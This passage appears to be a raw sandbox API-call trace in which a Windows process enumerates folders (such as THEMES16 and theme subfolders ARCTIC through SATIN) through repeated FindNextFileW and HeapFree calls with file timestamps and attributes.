cFileName="METCONV.DLL", cAlternateFileName="")) returned 1 [0248.674] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0248.674] FindNextFileW (in: hFindFile=0x6cfe48, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0ed7602, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0ed7602, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0ed7602, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Source Engine", cAlternateFileName="SOURCE~1")) returned 1 [0248.676] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0248.676] FindNextFileW (in: hFindFile=0x6cfe48, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf15d84bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42b29f3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5f76153, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TEXTCONV", cAlternateFileName="")) returned 1 [0248.676] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0248.676] FindNextFileW (in: hFindFile=0x6cfe48, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26bd6427, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="THEMES16", cAlternateFileName="")) returned 1 [0248.681] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0248.681] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26bd6427, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ARCTIC", cAlternateFileName="")) returned 1 [0248.681] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0248.681] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26bd6427, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="AXIS", cAlternateFileName="")) returned 1 [0248.682] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0248.682] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a70c44, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a96da3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27a96da3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="BLENDS", cAlternateFileName="")) returned 1 [0248.683] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0248.683] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a70c44, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a70c44, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27a70c44, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="BLUECALM", cAlternateFileName="")) returned 1 [0248.684] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0248.684] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="BLUEPRNT", cAlternateFileName="")) returned 1 [0248.685] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0248.686] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a96da3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="BOLDSTRI", cAlternateFileName="")) returned 1 [0248.687] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0248.687] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a96da3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="BREEZE", cAlternateFileName="")) returned 1 [0248.687] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0248.687] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="CANYON", cAlternateFileName="")) returned 1 [0248.824] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0248.824] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="CAPSULES", cAlternateFileName="")) returned 1 [0248.825] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0248.825] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="CASCADE", cAlternateFileName="")) returned 1 [0248.825] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0248.825] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="COMPASS", cAlternateFileName="")) returned 1 [0248.826] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0248.826] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="CONCRETE", cAlternateFileName="")) returned 1 [0248.826] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0248.826] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="DEEPBLUE", cAlternateFileName="")) returned 1 [0248.826] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0248.826] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ECHO", cAlternateFileName="")) returned 1 [0248.826] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0248.827] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ECLIPSE", cAlternateFileName="")) returned 1 [0248.827] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0248.827] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="EDGE", cAlternateFileName="")) returned 1 [0248.827] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0248.827] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b2f705, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b2f705, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="EVRGREEN", cAlternateFileName="")) returned 1 [0248.827] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0248.827] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b2f705, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b2f705, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="EXPEDITN", cAlternateFileName="")) returned 1 [0248.828] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0248.828] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ba1ded, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ba1ded, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ICE", cAlternateFileName="")) returned 1 [0248.828] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0248.828] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b5591d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="INDUST", cAlternateFileName="")) returned 1 [0248.829] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0248.829] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b5591d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b7bb91, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b7bb91, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="IRIS", cAlternateFileName="")) returned 1 [0248.829] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0248.829] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b5591d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="JOURNAL", cAlternateFileName="")) returned 1 [0248.829] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0248.829] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b7bb91, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ba1ded, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ba1ded, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="LAYERS", cAlternateFileName="")) returned 1 [0248.829] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0248.829] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b7bb91, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="LEVEL", cAlternateFileName="")) returned 1 [0248.830] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0248.830] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="NETWORK", cAlternateFileName="")) returned 1 [0248.830] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0248.830] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="PAPYRUS", cAlternateFileName="")) returned 1 [0248.830] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0248.830] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="PIXEL", cAlternateFileName="")) returned 1 [0248.831] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0248.831] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="PROFILE", cAlternateFileName="")) returned 1 [0248.831] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0248.831] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="QUAD", cAlternateFileName="")) returned 1 [0248.831] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0248.831] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="RADIAL", cAlternateFileName="")) returned 1 [0248.832] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0248.832] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="REFINED", cAlternateFileName="")) returned 1 [0248.832] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0248.832] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="RICEPAPR", cAlternateFileName="")) returned 1 [0248.832] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0248.832] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="RIPPLE", cAlternateFileName="")) returned 1 [0248.833] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0248.833] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="RMNSQUE", cAlternateFileName="")) returned 1 [0248.833] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0248.833] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x289576aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x289576aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SATIN", cAlternateFileName="")) returned 1 [0248.833] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0248.833] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, 